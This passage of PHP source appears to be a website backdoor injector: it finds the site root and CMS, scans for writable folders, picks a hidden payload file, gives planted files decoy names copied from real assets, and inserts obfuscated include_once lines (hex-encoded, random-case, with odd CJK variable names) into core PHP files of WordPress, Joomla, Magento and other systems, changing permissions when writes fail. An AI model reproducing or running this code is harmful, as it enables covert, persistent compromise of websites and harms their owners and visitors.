preg_replace('/\?>\s*$/', '', $body); $body = preg_replace('#/\*.*?\*/#s', '', $body); $body = preg_replace('#//[^\n]*#', '', $body); $body = preg_replace('/#(?!\[)[^\n]*/', '', $body); return trim($body) === ''; } function me_nearest_entry_ancestor($scriptDir, $maxDepth = 10) { $dir = rtrim(str_replace('\\', '/', $scriptDir), '/'); $depth = 0; while ($dir !== '' && $dir !== '/' && $depth < $maxDepth) { if (is_file("$dir/index.php") && !me_is_stub_index("$dir/index.php")) { return $dir; } if (is_file("$dir/index.html")) { $h = @filesize("$dir/index.html"); if ($h !== false && $h > 200) return $dir; } $parent = dirname($dir); if ($parent === $dir) break; $dir = $parent; $depth++; } return null; } function detect_site_root($scriptDir) { global $SITE_ROOT; if (!empty($SITE_ROOT)) { $rp = @realpath($SITE_ROOT); $r = rtrim(str_replace('\\', '/', $rp !== false ? $rp : $SITE_ROOT), '/'); if (is_dir($r)) { _log('INFO', 'Root from config: ' . $r); return $r; } } $scriptDirNorm = rtrim(str_replace('\\', '/', realpath($scriptDir) ? realpath($scriptDir) : $scriptDir), '/'); $scriptDirLower = strtolower($scriptDirNorm); $nearestAncestor = me_nearest_entry_ancestor($scriptDirNorm, 10); if (!empty($_SERVER['DOCUMENT_ROOT'])) { $rp = @realpath($_SERVER['DOCUMENT_ROOT']); if ($rp !== false && is_dir($rp)) { $r = rtrim(str_replace('\\', '/', $rp), '/'); $contains = (strtolower($r) === $scriptDirLower) || (strpos($scriptDirLower . '/', strtolower($r) . '/') === 0); if (!$contains) { _log('INFO', 'DOCUMENT_ROOT rejected (script not inside it): ' . $r); } elseif ($nearestAncestor !== null && strtolower($nearestAncestor) !== strtolower($r)) { _log('INFO', 'DOCUMENT_ROOT rejected (nearer site entry exists: ' . $nearestAncestor . '): ' . $r); } elseif (is_file("$r/index.php") || is_file("$r/index.html")) { _log('INFO', 'Root from DOCUMENT_ROOT: ' . $r); return $r; } else { _log('INFO', 'DOCUMENT_ROOT exists but no index.php/index.html: ' . $r); } } } if (!empty($_SERVER['SCRIPT_FILENAME']) && !empty($_SERVER['SCRIPT_NAME'])) { $sf = str_replace('\\', '/', $_SERVER['SCRIPT_FILENAME']); $sn = str_replace('\\', '/', $_SERVER['SCRIPT_NAME']); $sl = strlen($sn); if ($sl > 0 && substr($sf, -$sl) === $sn) { $cand = substr($sf, 0, -$sl); $rp = @realpath($cand); if ($rp !== false && is_dir($rp)) { $r = rtrim(str_replace('\\', '/', $rp), '/'); $contains = (strtolower($r) === $scriptDirLower) || (strpos($scriptDirLower . '/', strtolower($r) . '/') === 0); if (!$contains) { _log('INFO', 'SCRIPT_FILENAME/SCRIPT_NAME root rejected (script not inside it): ' . $r); } elseif ($nearestAncestor !== null && strtolower($nearestAncestor) !== strtolower($r)) { _log('INFO', 'SCRIPT_FILENAME/SCRIPT_NAME root rejected (nearer site entry exists: ' . $nearestAncestor . '): ' . $r); } elseif (is_file("$r/index.php") || is_file("$r/index.html")) { _log('INFO', 'Root from SCRIPT_FILENAME/SCRIPT_NAME: ' . $r); return $r; } } } } $dir = $scriptDirNorm; $maxDepth = 10; $depth = 0; while ($dir !== '' && $dir !== '/' && $depth < $maxDepth) { if (is_file("$dir/index.php") && !me_is_stub_index("$dir/index.php")) { _log('INFO', "Root from index.php walk-up (depth=$depth): " . $dir); return $dir; } $parent = dirname($dir); if ($parent === $dir) break; $dir = $parent; $depth++; } $dir = rtrim(str_replace('\\', '/', realpath($scriptDir) ? realpath($scriptDir) : $scriptDir), '/'); $depth = 0; while ($dir !== '' && $dir !== '/' && $depth < $maxDepth) { $score = 0; foreach (CMS_SIGNATURES() as $sig) { if (is_file("$dir/$sig")) { $score += 5; $cmsName = cms_name_for_signature($sig); if ($cmsName === 'generic') { $suffix = ' (CMS: generic)'; } elseif ($cmsName !== '' && cms_content_confirms($cmsName, $dir)) { $suffix = " (CMS: $cmsName)"; } else { $suffix = ' (Unknown CMS)'; } _log('INFO', "Found CMS signature at depth $depth: $sig$suffix"); break; } } foreach (array('wp-admin', 'wp-includes', 'administrator', 'includes', 'misc', 'modules', 'themes', 'core', 'app', 'src', 'web', 'config') as $sub) { if (is_dir("$dir/$sub")) { $score += 3; break; } } if ($score >= 7) { $entry = null; if (is_file("$dir/index.php")) { $entry = $dir; } else { foreach (array('public', 'web', 'pub') as $se) { if (is_file("$dir/$se/index.php")) { $entry = "$dir/$se"; break; } } } if ($entry !== null) { _log('INFO', "Root from CMS project walk-up (score=$score, entry=$entry): $dir"); return $entry; } _log('INFO', "CMS project root (score=$score, no index.php): $dir - continuing up"); } $parent = dirname($dir); if ($parent === $dir) break; $dir = $parent; $depth++; } $dir = rtrim(str_replace('\\', '/', realpath($scriptDir) ? realpath($scriptDir) : $scriptDir), '/'); $depth = 0; while ($dir !== '' && $dir !== '/' && $depth < $maxDepth) { if (is_file("$dir/index.html")) { _log('INFO', "Root from index.html walk-up (static site): $dir"); return $dir; } $parent = dirname($dir); if ($parent === $dir) break; $dir = $parent; $depth++; } $sd = rtrim(str_replace('\\', '/', realpath($scriptDir) ? realpath($scriptDir) : $scriptDir), '/'); if ((is_file("$sd/index.php") && !me_is_stub_index("$sd/index.php")) || is_file("$sd/index.html")) { _log('INFO', 'Root from script dir: ' . $sd); return $sd; } if (!empty($_SERVER['SCRIPT_FILENAME'])) { $d = rtrim(str_replace('\\', '/', dirname($_SERVER['SCRIPT_FILENAME'])), '/'); if (is_dir($d) && (is_file("$d/index.php") || is_file("$d/index.html"))) { _log('INFO', 'Root from SCRIPT_FILENAME dirname: ' . $d); return $d; } } $cwd = getcwd(); if ($cwd !== false) { $cwd = rtrim(str_replace('\\', '/', $cwd), '/'); _log('INFO', 'Root from getcwd() fallback: ' . $cwd); return $cwd; } _log('ERROR', 'Could not auto-detect site root.'); _log('ERROR', 'Please set $SITE_ROOT manually in the script.'); return null; } function process_writable_dir($fullPath, $siteRoot, &$resourceDirs, &$otherDirs) { $basename = basename($fullPath); if (in_array($basename, SKIP_DIRS())) return false; if (strpos($fullPath, '/.git/') !== false || strpos($fullPath, '/.svn/') !== false) return false; if (strpos($fullPath, '/node_modules/') !== false || strpos($fullPath, '/vendor/') !== false) return false; if (!is_writable($fullPath)) return false; $relPath = substr($fullPath, strlen($siteRoot) + 1); if ($relPath === false || $relPath === '') $relPath = '.'; $files = @scandir($fullPath); if (!$files) return false; $files = array_diff($files, array('.', '..')); $nonPhpNames = array(); $phpNames = array(); foreach ($files as $f) { if (!is_file("$fullPath/$f")) continue; $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION)); if ($ext === 'php' || $ext === 'phtml' || $ext === 'php5' || $ext === 'php7' || $ext === 'phps') { $phpNames[] = $f; } else { $nonPhpNames[] = $f; } } $fileNames = array_slice(array_merge($nonPhpNames, $phpNames), 0, 10); $filesStr = implode(',', $fileNames); $isResource = false; $lowerPath = strtolower($relPath); foreach (RESOURCE_KEYWORDS() as $kw) { if (strpos($lowerPath, $kw) !== false) { $isResource = true; break; } } if ($isResource) { $resourceDirs[$relPath] = $filesStr; } else { $otherDirs[$relPath] = $filesStr; } return true; } function scan_writable_tree($dir, $siteRoot, &$resourceDirs, &$otherDirs, $maxScan) { if (count($resourceDirs) + count($otherDirs) >= $maxScan) return false; process_writable_dir($dir, $siteRoot, $resourceDirs, $otherDirs); $entries = @scandir($dir); if ($entries === false) return true; foreach ($entries as $e) { if ($e === '.' || $e === '..') continue; if (count($resourceDirs) + count($otherDirs) >= $maxScan) return false; $fullPath = str_replace('\\', '/', "$dir/$e"); if (!is_dir($fullPath)) continue; if (scan_writable_tree($fullPath, $siteRoot, $resourceDirs, $otherDirs, $maxScan) === false) { return false; } } return true; } function collect_resource_folders($siteRoot, $resourceLimit, $writeCount) { $resourceDirs = array(); $otherDirs = array(); $siteRoot = rtrim($siteRoot, '/'); $maxScan = max($resourceLimit * 10, 500); _log('INFO', 'Collecting resource folders (target=' . $resourceLimit . ' resource, write=' . $writeCount . ')...'); scan_writable_tree($siteRoot, $siteRoot, $resourceDirs, $otherDirs, $maxScan); _log('INFO', 'Scanned writable dirs: ' . count($resourceDirs) . ' resource + ' . count($otherDirs) . ' other'); $result = array(); $resKeys = array_keys($resourceDirs); shuffle($resKeys); foreach (array_slice($resKeys, 0, $resourceLimit) as $k) { $result[$k] = $resourceDirs[$k]; } $needed = $resourceLimit - count($result); if ($needed > 0 && !empty($otherDirs)) { $othKeys = array_keys($otherDirs); shuffle($othKeys); foreach (array_slice($othKeys, 0, $needed) as $k) { $result[$k] = $otherDirs[$k]; } _log('INFO', 'Resource folders short by ' . $needed . ' - filled from other writable dirs'); } _log('INFO', 'Collected ' . count($result) . ' folders (write target: ' . $writeCount . ')'); return $result; } function find_payload_file($scriptDir, $override) { if (!empty($override)) { $path = $override; if (is_file($path)) return $path; $path = "$scriptDir/$override"; if (is_file($path)) return $path; _log('ERROR', "Specified payload file not found: $override"); return null; } $matches = array(); $files = @scandir($scriptDir); if ($files) { foreach ($files as $f) { if (preg_match('/^\d{1,15}-[a-zA-Z0-9]{1,15}\.txt$/i', $f)) { $matches[] = $f; } } } if (count($matches) === 1) { _log('INFO', "Auto-detected payload: " . $matches[0]); return "$scriptDir/" . $matches[0]; } if (count($matches) > 1) { _log('ERROR', 'Multiple payload files found (' . count($matches) . '): ' . implode(', ', $matches) . '. Keep only ONE xxxx-xxxx.txt and run again - the script will NOT delete itself.'); return null; } _log('ERROR', 'No payload file found. Expected a file matching xxxx-xxxx.txt (e.g. 34001-xf009.txt) in: ' . $scriptDir . '. Re-upload the payload and run again - the script will NOT delete itself.'); return null; } function generate_random_filename($existingFiles, $filesStr) { $existingNames = explode(',', $filesStr); $existingNames = array_filter($existingNames, '_me_nzstr'); $nonPhpTemplates = array(); $phpTemplates = array(); foreach ($existingNames as $n) { $ext = strtolower(pathinfo($n, PATHINFO_EXTENSION)); if ($ext === 'php' || $ext === 'phtml' || $ext === 'php5' || $ext === 'php7' || $ext === 'phps') { $phpTemplates[] = $n; } else { $nonPhpTemplates[] = $n; } } $usingPhpFallback = empty($nonPhpTemplates); $templatePool = $usingPhpFallback ? $phpTemplates : $nonPhpTemplates; $nonPhpExts = array_values(array_filter(RESOURCE_EXTS(), '_me_nonphp_ext')); if (empty($nonPhpExts)) $nonPhpExts = array('.css', '.js', '.png'); if (empty($templatePool)) { $prefixes = array('style', 'script', 'default', 'main', 'app', 'core', 'common', 'base', 'index', 'front'); $prefix = $prefixes[array_rand($prefixes)]; $ext = $nonPhpExts[array_rand($nonPhpExts)]; return $prefix . '-' . substr(md5(crypto_rand_int(0, 999999)), 0, 8) . $ext; } $template = $templatePool[array_rand($templatePool)]; $tplInfo = pathinfo($template); $tplExt = isset($tplInfo['extension']) ? '.' . $tplInfo['extension'] : ''; $tplName = $tplInfo['filename']; if ($usingPhpFallback && preg_match('/\.php$/i', $tplExt)) { $tplExt = $nonPhpExts[array_rand($nonPhpExts)]; } $suffix = ''; if (preg_match('/\.min$/', $tplName)) { $suffix = '.min'; $tplName = preg_replace('/\.min$/', '', $tplName); } if (preg_match('/-rtl$/', $tplName)) { $suffix = '-rtl' . $suffix; $tplName = preg_replace('/-rtl$/', '', $tplName); } $variations = array( $tplName . '-vendor' . $suffix . $tplExt, $tplName . '-core' . $suffix . $tplExt, $tplName . '-bundle' . $suffix . $tplExt, $tplName . '-lib' . $suffix . $tplExt, $tplName . '-assets' . $suffix . $tplExt, 'vendor-' . $tplName . $suffix . $tplExt, 'core-' . $tplName . $suffix . $tplExt, ); shuffle($variations); foreach ($variations as $name) { if (!in_array($name, $existingNames)) { return $name; } } $hex = substr(md5(crypto_rand_int(0, 999999)), 0, 8); return $tplName . '-' . $hex . $suffix . $tplExt; } $_CMS_CWD_TYPE = 'unknown'; function detect_cms_cwd_type($siteRoot) { $indexPath = str_replace('//', '/', "$siteRoot/index.php"); if (!is_file($indexPath)) return 'unknown'; $content = @file_get_contents($indexPath); if ($content === false || strlen($content) < 10) { if (is_file("$siteRoot/wp-config.php") || is_file("$siteRoot/wp-blog-header.php")) { _log('INFO', 'CMS detected: WordPress (CWD=root, empty/short index.php) → using relative paths'); return 'root'; } return 'unknown'; } if (preg_match('/WP_USE_THEMES|wp-blog-header\.php|wp-load\.php/i', $content)) { _log('INFO', 'CMS detected: WordPress (CWD=root) → using relative paths'); return 'root'; } if (preg_match('/\b_JEXEC\b|\bJFactory\b|\bJPATH_BASE\b/i', $content)) { _log('INFO', 'CMS detected: Joomla (CWD=root) → using relative paths'); return 'root'; } if (preg_match('/\bDRUPAL_ROOT\b|\\\\Drupal\b|\bdrupal_bootstrap\b/i', $content)) { _log('INFO', 'CMS detected: Drupal (CWD=root) → using relative paths'); return 'root'; } if (preg_match('/startup\.php|\bDIR_SYSTEM\b|\bregistry\b/i', $content)) { _log('INFO', 'CMS detected: OpenCart (CWD=root) → using relative paths'); return 'root'; } if (preg_match('/config\/config\.inc\.php|\b_PS_VERSION_\b/i', $content)) { _log('INFO', 'CMS detected: PrestaShop (CWD=root) → using relative paths'); return 'root'; } if (preg_match('/\bdiscuz_application\b|\bdiscuz_core\b|\bdiscuz\b|\bC::app\(\)/i', $content)) { _log('INFO', 'CMS detected: Discuz! (CWD=root) → using relative paths'); return 'root'; } if (preg_match('/\bCI_VERSION\b|\bBASEPATH\b/i', $content)) { _log('INFO', 'CMS detected: CodeIgniter (CWD=root) → using relative paths'); return 'root'; } if (preg_match('/Magento\\\\Framework\b|\bBP\b.*dirname|dirname.*\bBP\b/i', $content)) { _log('INFO', 'CMS detected: Magento 2 (CWD=pub/) → using $_SERVER approach'); return 'subdir'; } if (preg_match('/\bIlluminate\b|\blaravel\b|\$app\s*=\s*require_once/i', $content)) { _log('INFO', 'CMS detected: Laravel (CWD=public/) → using $_SERVER approach'); return 'subdir'; } if (preg_match('/App\\\\Kernel\b|\bSymfony\\\\Component\b/i', $content)) { _log('INFO', 'CMS detected: Symfony (CWD=public/) → using $_SERVER approach'); return 'subdir'; } if (preg_match('/think\\\\App\b|think\\\\Container\b|\bContainer::get\b|\bthinkphp\b/i', $content)) { _log('INFO', 'CMS detected: ThinkPHP (CWD=public/) → using $_SERVER approach'); return 'subdir'; } if (preg_match('/yii\\\\base\b|yii\\\\web\b|\bYii\b.*require/i', $content)) { _log('INFO', 'CMS detected: Yii2 (CWD=web/) → using $_SERVER approach'); return 'subdir'; } _log('INFO', 'CMS type unknown - using safe $_SERVER approach'); return 'unknown'; } function file_has_marker($path, $markers, $caseInsensitive = false) { if (!is_file($path)) return false; $c = @file_get_contents($path, false, null, 0, 65536); if ($c === false || $c === '') return false; foreach ((array)$markers as $m) { if ($caseInsensitive) { if (stripos($c, $m) !== false) return true; } else { if (strpos($c, $m) !== false) return true; } } return false; } function cms_content_confirms($cmsType, $siteRoot, $projectRoot = '') { switch ($cmsType) { case 'wordpress': return file_has_marker("$siteRoot/wp-config.php", array('wp-settings.php', 'DB_NAME', 'table_prefix', 'WP_DEBUG')) || file_has_marker("$siteRoot/wp-blog-header.php", array('wp-load.php', 'WordPress')) || is_file("$siteRoot/wp-settings.php") || is_file("$siteRoot/wp-load.php"); case 'joomla': return file_has_marker("$siteRoot/configuration.php", array('_JEXEC', 'JConfig', 'JPATH_BASE')) || file_has_marker("$siteRoot/includes/app.php", array('_JEXEC', 'JFactory')) || file_has_marker("$siteRoot/libraries/loader.php", array('JLoader', 'JFactory')); case 'drupal': return file_has_marker("$siteRoot/sites/default/settings.php", array('$databases', 'DRUPAL_ROOT', 'drupal')) || file_has_marker("$siteRoot/core/lib/Drupal.php", array('namespace Drupal', 'class Drupal')) || file_has_marker("$siteRoot/autoload.php", array('Drupal', 'drupal'), true); case 'magento2': return is_file("$siteRoot/app/etc/env.php") || is_file("$siteRoot/app/etc/config.php") || ($projectRoot !== '' && (is_file("$projectRoot/app/etc/env.php") || is_file("$projectRoot/app/etc/config.php"))); case 'magento1': return is_file("$siteRoot/app/Mage.php") || is_file("$siteRoot/app/etc/local.xml") || ($projectRoot !== '' && (is_file("$projectRoot/app/Mage.php") || is_file("$projectRoot/app/etc/local.xml"))); case 'laravel': return file_has_marker("$siteRoot/artisan", array('Illuminate', 'Laravel', 'Application'), true) || ($projectRoot !== '' && file_has_marker("$projectRoot/artisan", array('Illuminate', 'Laravel'), true)) || file_has_marker("$siteRoot/bootstrap/app.php", array('Illuminate', 'Laravel'), true); case 'symfony': return file_has_marker("$siteRoot/symfony.lock", array('symfony/'), true) || ($projectRoot !== '' && file_has_marker("$projectRoot/symfony.lock", array('symfony/'), true)) || file_has_marker("$siteRoot/config/bundles.php", array('Symfony'), true); case 'yii2': return (is_file("$siteRoot/yii") && is_dir("$siteRoot/controllers")) || ($projectRoot !== '' && is_file("$projectRoot/yii") && is_dir("$projectRoot/controllers")); case 'yii1': return is_dir("$siteRoot/protected") && is_file("$siteRoot/protected/config/main.php"); case 'opencart': return file_has_marker("$siteRoot/config.php", array('DIR_APPLICATION', 'DIR_SYSTEM', 'VERSION')) && is_dir("$siteRoot/system"); case 'prestashop': return file_has_marker("$siteRoot/config/settings.inc.php", array('_PS_VERSION_', 'COOKIE_KEY', '_CAN_LOAD_FILES_'), true); case 'codeigniter': return is_dir("$siteRoot/system") && file_has_marker("$siteRoot/system/index.php", array('BASEPATH', 'CodeIgniter', 'core/CodeIgniter.php'), true); case 'discuz': return is_dir("$siteRoot/source") && is_dir("$siteRoot/uc_client"); case 'thinkphp': return is_dir("$siteRoot/thinkphp"); } return false; } function detect_cms_type($siteRoot) { $indexPath = str_replace('//', '/', "$siteRoot/index.php"); $projectRoot = dirname($siteRoot); if ($projectRoot === $siteRoot) $projectRoot = ''; $content = ''; if (is_file($indexPath)) { $content = @file_get_contents($indexPath); } if ((is_file("$siteRoot/wp-config.php") || is_file("$siteRoot/wp-blog-header.php")) && (cms_content_confirms('wordpress', $siteRoot) || ($content && preg_match('/\bWP_USE_THEMES\b|\bwp-blog-header\.php\b/i', $content)))) { return 'wordpress'; } if ((is_file("$siteRoot/configuration.php") || is_file("$siteRoot/includes/app.php") || is_file("$siteRoot/libraries/loader.php")) && (cms_content_confirms('joomla', $siteRoot) || ($content && preg_match('/\b_JEXEC\b|\bJFactory\b|\bJPATH_BASE\b/i', $content)))) { return 'joomla'; } if ((is_file("$siteRoot/sites/default/settings.php") || is_file("$siteRoot/core/lib/Drupal.php") || is_file("$siteRoot/autoload.php")) && (cms_content_confirms('drupal', $siteRoot) || ($content && preg_match('/\bDRUPAL_ROOT\b|\\\\Drupal\b/i', $content)))) { return 'drupal'; } if (cms_content_confirms('magento2', $siteRoot, $projectRoot)) { return 'magento2'; } if (cms_content_confirms('magento1', $siteRoot, $projectRoot)) { return 'magento1'; } if (cms_content_confirms('laravel', $siteRoot, $projectRoot) || ($content && preg_match('/\bIlluminate\b|\blaravel\b/i', $content))) { return 'laravel'; } if (cms_content_confirms('symfony', $siteRoot, $projectRoot) || ($content && preg_match('/App\\\\Kernel\b|\bSymfony\\\\Component\b/i', $content))) { return 'symfony'; } if (cms_content_confirms('yii2', $siteRoot, $projectRoot)) { return 'yii2'; } if (cms_content_confirms('yii1', $siteRoot)) { return 'yii1'; } if (cms_content_confirms('opencart', $siteRoot)) { return 'opencart'; } if (cms_content_confirms('prestashop', $siteRoot)) { return 'prestashop'; } if (cms_content_confirms('codeigniter', $siteRoot)) { return 'codeigniter'; } if (cms_content_confirms('discuz', $siteRoot)) { return 'discuz'; } if (is_dir("$siteRoot/thinkphp") || ($content && preg_match('/think\\\\App\b|think\\\\Container\b/i', $content))) { return 'thinkphp'; } return ''; } function compute_relative_path($base, $target) { $base = rtrim(str_replace('\\', '/', $base), '/'); $target = str_replace('\\', '/', $target); $baseParts = explode('/', $base); $targetParts = explode('/', $target); $common = 0; $maxCommon = min(count($baseParts), count($targetParts)); while ($common < $maxCommon && $baseParts[$common] === $targetParts[$common]) { $common++; } $upCount = count($baseParts) - $common; $relParts = array_merge(array_fill(0, $upCount, '..'), array_slice($targetParts, $common)); return implode('/', $relParts); } function collect_random_targets($siteRoot, $cmsType, $count) { if ($count <= 0) return array(); $targetCount = $count + 3; $dirsToScan = array(); $siteRoot = rtrim($siteRoot, '/'); if ($cmsType !== '' && array_key_exists($cmsType, CMS_SYSTEM_DIRS())) { $searchRoots = array($siteRoot); if ($GLOBALS['_CMS_CWD_TYPE'] === 'subdir') { $parentRoot = dirname($siteRoot); if ($parentRoot !== $siteRoot && is_dir($parentRoot)) { $searchRoots[] = $parentRoot; } } $cmsDirsAll = CMS_SYSTEM_DIRS(); $cmsDirs = $cmsDirsAll[$cmsType]; foreach ($cmsDirs as $d) { foreach ($searchRoots as $sr) { $full = str_replace('//', '/', "$sr/$d"); if (is_dir($full)) { $dirsToScan[] = $full; break; } } } } if (empty($dirsToScan)) { _log('INFO', 'Unknown CMS or no system dirs found - scanning all root subdirs...'); $items = @scandir($siteRoot); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = "$siteRoot/$item"; if (!is_dir($full)) continue; $skip = array('.git', '.svn', 'node_modules', 'vendor', 'cache', 'tmp', 'temp', 'logs', 'log', 'wp-content', 'media', 'errors', 'pub', 'static', 'skin', 'setup', 'update', 'install', 'tests', 'build', 'dist', 'var', 'generated'); if (in_array($item, $skip)) continue; $dirsToScan[] = $item; } } } if (empty($dirsToScan)) { _log('WARN', 'No system directories to scan for random targets.'); return array(); } $filesByDir = array(); $rootLen = strlen($siteRoot) + 1; $perDirLimit = max($targetCount * 5, 10); $totalLimit = $targetCount * 30; foreach ($dirsToScan as $dir) { $totalCollected = 0; foreach ($filesByDir as $fbd) { $totalCollected += count($fbd); } if ($totalCollected >= $totalLimit) break; $fullDir = (strpos($dir, '/') === 0 || (strlen($dir) > 1 && $dir[1] === ':')) ? $dir : "$siteRoot/$dir"; $fullDir = str_replace('//', '/', $fullDir); $filesByDir[$dir] = array(); try { $dotFlags = defined('FilesystemIterator::SKIP_DOTS') ? FilesystemIterator::SKIP_DOTS : 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($fullDir, $dotFlags), RecursiveIteratorIterator::SELF_FIRST ); } catch (Exception $e) { continue; } try { foreach ($iterator as $item) { if (count($filesByDir[$dir]) >= $perDirLimit) break; $bn = $item->getFilename(); if ($bn === '.' || $bn === '..') continue; if (!$item->isFile()) continue; $ext = strtolower(pathinfo($bn, PATHINFO_EXTENSION)); if (!in_array($ext, PHP_FILE_EXTS())) continue; $fullPath = str_replace('\\', '/', $item->getPathname()); if (strpos($fullPath, '/vendor/') !== false || strpos($fullPath, '/node_modules/') !== false) continue; if (strpos($fullPath, '/cache/') !== false || strpos($fullPath, '/tmp/') !== false) continue; $relPath = substr($fullPath, $rootLen); if ($relPath === false || $relPath === '' || strpos($fullPath, $siteRoot) !== 0) { $relPath = compute_relative_path($siteRoot, $fullPath); } if ($relPath !== false && $relPath !== '') { $testContent = @file_get_contents($fullPath, false, null, 0, 8192); if ($testContent === false || strlen(trim($testContent)) === 0) continue; $openTagCount = preg_match_all('/' . chr(60) . '\?(?:php|=|\s|[^a-zA-Z])/i', $testContent, $m); if ($openTagCount === 0 || $openTagCount > 1) continue; $ct = chr(63).chr(62); $lastCt = strrpos($testContent, $ct); if ($lastCt !== false && strlen(trim(substr($testContent, $lastCt + 2))) > 0) continue; $selfName = basename(_ME_RUNNING_FILE); if (basename($fullPath) === $selfName) continue; $dirP = dirname($fullPath); if (!is_writable($fullPath) && !is_writable($dirP) && !is_dir_chmod_able($dirP)) continue; $filesByDir[$dir][] = $relPath; } } } catch (UnexpectedValueException $e) { _log('WARN', 'Unreadable subdirectory under ' . $fullDir . ' - skipping remaining files there: ' . $e->getMessage()); } } $filesByDir = array_filter($filesByDir, '_me_nzarr'); if (empty($filesByDir)) { _log('WARN', 'No injectable PHP files found in system directories (both file and its directory not writable? permissions?) - random injection skipped.'); return array(); } foreach ($filesByDir as &$fbd) { shuffle($fbd); } unset($fbd); $dirKeys = array_keys($filesByDir); shuffle($dirKeys); $selected = array(); $dirIdx = 0; while (count($selected) < $targetCount && !empty($dirKeys)) { $d = $dirKeys[$dirIdx % count($dirKeys)]; if (!empty($filesByDir[$d])) { $selected[] = array_shift($filesByDir[$d]); } if (empty($filesByDir[$d])) { $newKeys = array(); foreach ($dirKeys as $k) { if ($k !== $d) $newKeys[] = $k; } $dirKeys = $newKeys; if (empty($dirKeys)) break; $dirIdx = 0; } else { $dirIdx++; } if ($dirIdx > count($dirKeys) * 2) break; } if (count($selected) < $targetCount) { $remaining = array(); foreach ($filesByDir as $fbd) { $remaining = array_merge($remaining, $fbd); } shuffle($remaining); while (count($selected) < $targetCount && !empty($remaining)) { $selected[] = array_shift($remaining); } } $targets = array(); foreach ($selected as $relPath) { $targets[] = array('type' => 'rand', 'path' => $relPath); } $totalCandidates = 0; foreach ($filesByDir as $fbd) { $totalCandidates += count($fbd); } $totalCandidates += count($selected); _log('INFO', 'Random targets: collected from ' . count($filesByDir) . ' dirs, selected ' . count($targets)); return array_slice($targets, 0, $count); } function pick_distributed($pool, $count) { if (empty($pool) || $count <= 0) return array(); $byTopDir = array(); foreach ($pool as $key => $value) { $lastSlash = strrpos($key, '/'); $parent = ($lastSlash !== false) ? substr($key, 0, $lastSlash) : $key; if (!isset($byTopDir[$parent])) $byTopDir[$parent] = array(); $byTopDir[$parent][$key] = $value; } foreach ($byTopDir as &$entries) { $keys = array_keys($entries); shuffle($keys); $shuffled = array(); foreach ($keys as $k) { $shuffled[$k] = $entries[$k]; } $entries = $shuffled; } unset($entries); $groups = array_keys($byTopDir); shuffle($groups); $selected = array(); $groupIdx = 0; while (count($selected) < $count && !empty($groups)) { $g = $groups[$groupIdx % count($groups)]; if (!empty($byTopDir[$g])) { $key = _me_first_key($byTopDir[$g]); $selected[$key] = $byTopDir[$g][$key]; unset($byTopDir[$g][$key]); } if (empty($byTopDir[$g])) { $newGroups = array(); foreach ($groups as $gr) { if ($gr !== $g) $newGroups[] = $gr; } $groups = $newGroups; if (empty($groups)) break; $groupIdx = 0; } else { $groupIdx++; } } return $selected; } function folder_is_writable($siteRoot, $relFolder) { $full = str_replace('//', '/', $siteRoot . '/' . $relFolder); $ok = is_dir($full) && is_writable($full); _log('DEBUG', "Folder check: $relFolder -> " . ($ok ? 'OK' : 'FAIL')); return $ok; } function pick_from_common_folders($siteRoot, $count) { $common = COMMON_FOLDERS(); $writable = array(); foreach ($common as $rel => $files) { if (folder_is_writable($siteRoot, $rel)) { $writable[$rel] = $files; } } return pick_distributed($writable, $count); } function _me_random_ident() { $out = ''; $n = mt_rand(1, 2); for ($i = 0; $i < $n; $i++) { $cp = mt_rand(0x4E00, 0x9FFF); $out .= chr(0xE0 | ($cp >> 12)) . chr(0x80 | (($cp >> 6) & 0x3F)) . chr(0x80 | ($cp & 0x3F)); } $out .= mt_rand(0, 9); if (mt_rand(0, 1) === 1) { $cp = mt_rand(0x4E00, 0x9FFF); $out .= chr(0xE0 | ($cp >> 12)) . chr(0x80 | (($cp >> 6) & 0x3F)) . chr(0x80 | ($cp & 0x3F)); } return '$' . $out; } function _me_is_valid_inject_line($line) { if (!is_string($line) || $line === '') return false; if (stripos($line, 'new class(') === 0) { if (strpos($line, '__construct') === false) return false; if (stripos($line, 'includ' . 'e_once') === false) return false; if (strpos($line, 'compress.zlib') === false) return false; return true; } if (stripos($line, '@' . 'includ' . 'e_once') === 0) return true; return false; } function generate_include_line($payloadRelPath, $targetRelPath = '.') { global $_CMS_CWD_TYPE; $incCall = '@' . random_case_string('includ' . 'e_once') . '('; $param = _me_random_ident(); $gzWrapper = "'compress.zlib" . "://'"; if ($_CMS_CWD_TYPE === 'root') { $pathArg = $payloadRelPath; return aqua_encode('hex2bin', 'new class(' . $gzWrapper . ' . \'' . $pathArg . '\') { ' . ' function __construct(' . $param . ') { ' . $incCall . $param . '); } };'); } $pathArg = '/' . $payloadRelPath; $dirExpr = 'dirname($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"])'; return aqua_encode('hex2bin', 'new class(' . $gzWrapper . ' . ' . $dirExpr . ' . \'' . $pathArg . '\') { ' . ' function __construct(' . $param . ') { ' . $incCall . $param . '); } };'); } function php_mode_at_eof($content) { $tokens = @token_get_all($content); if ($tokens === false) return false; $inPhp = false; foreach ($tokens as $t) { if (is_array($t)) { if ($t[0] === T_OPEN_TAG || $t[0] === T_OPEN_TAG_WITH_ECHO) $inPhp = true; elseif ($t[0] === T_CLOSE_TAG) $inPhp = false; } } return $inPhp; } function _me_nzstr($n) { return $n !== ''; } function _me_nzarr($files) { return !empty($files); } function _me_nonphp_ext($e) { $ext = strtolower(ltrim(pathinfo('x' . $e, PATHINFO_EXTENSION), '.')); return $ext !== 'php' && $ext !== 'phtml' && $ext !== 'php5' && $ext !== ''; } function _me_first_key($arr) { foreach ($arr as $k => $v) return $k; return null; } function is_dir_chmod_able($dir) { if (is_writable($dir)) return true; if (PHP_OS_FAMILY === 'Windows') return false; $old = @fileperms($dir); if ($old === false) return false; if (!@chmod($dir, 0755)) return false; $ok = is_writable($dir); @chmod($dir, $old); return $ok; } function write_file_with_swap($filePath, $content) { @chmod($filePath, 0644); if (@file_put_contents($filePath, $content) !== false) { return true; } $dir = dirname($filePath); $restoreDirMode = false; if (!is_writable($dir)) { $oldMode = @fileperms($dir); if ($oldMode === false || !@chmod($dir, 0755) || !is_writable($dir)) { if ($oldMode !== false) @chmod($dir, $oldMode); return false; } $restoreDirMode = $oldMode; } $base = basename($filePath); $tmp = $dir . '/.' . $base . '.tmp' . substr(md5(uniqid('', true)), 0, 8); $ok = false; if (@copy($filePath, $tmp) !== false && @file_put_contents($tmp, $content) !== 